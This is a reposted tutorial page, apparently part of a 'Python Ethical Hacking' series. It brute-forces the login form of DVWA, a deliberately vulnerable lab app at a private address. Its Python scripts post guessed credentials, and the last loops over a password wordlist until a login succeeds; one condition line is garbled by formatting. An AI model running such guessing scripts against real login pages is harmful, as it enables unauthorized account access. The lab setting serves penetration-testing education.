当前位置:首页 > Python教程 > python技巧

Python Ethical Hacking - WEB PENETRATION TESTING(5)

Guessing Login Information on Login Pages

Our target website: http://10.0.0.45/dvwa/login.php

技术分享图片

 

 

            #
            !/usr/bin/env python
            import
             requests

target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "dfdfddfd", "password": "1234", "Login": "submit"}
response = requests.post(target_url, data = data_dict)
print(response.content.decode())

Execute the Python Script.

技术分享图片

 

 

            #
            !/usr/bin/env python
            import
             requests

target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "admin", "password": "password", "Login": "submit"}
response = requests.post(target_url, data = data_dict)
print(response.content.decode())

技术分享图片

 

 

            #
            !/usr/bin/env python
            import
             requests

target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "admin", "password": "", "Login": "submit"}

with open("password.list", "r") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["password"] = word
        response = requests.post(target_url, data=data_dict)
        if"Login failed"notin response.content.decode():
            print("[+] Got the password --> " + word)
            exit()

print("[+] Reached end of line.")

技术分享图片

 

原文:https://www.cnblogs.com/keepmoving1113/p/11706825.html


【说明】本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:254677821)!

相关教程推荐

其他课程推荐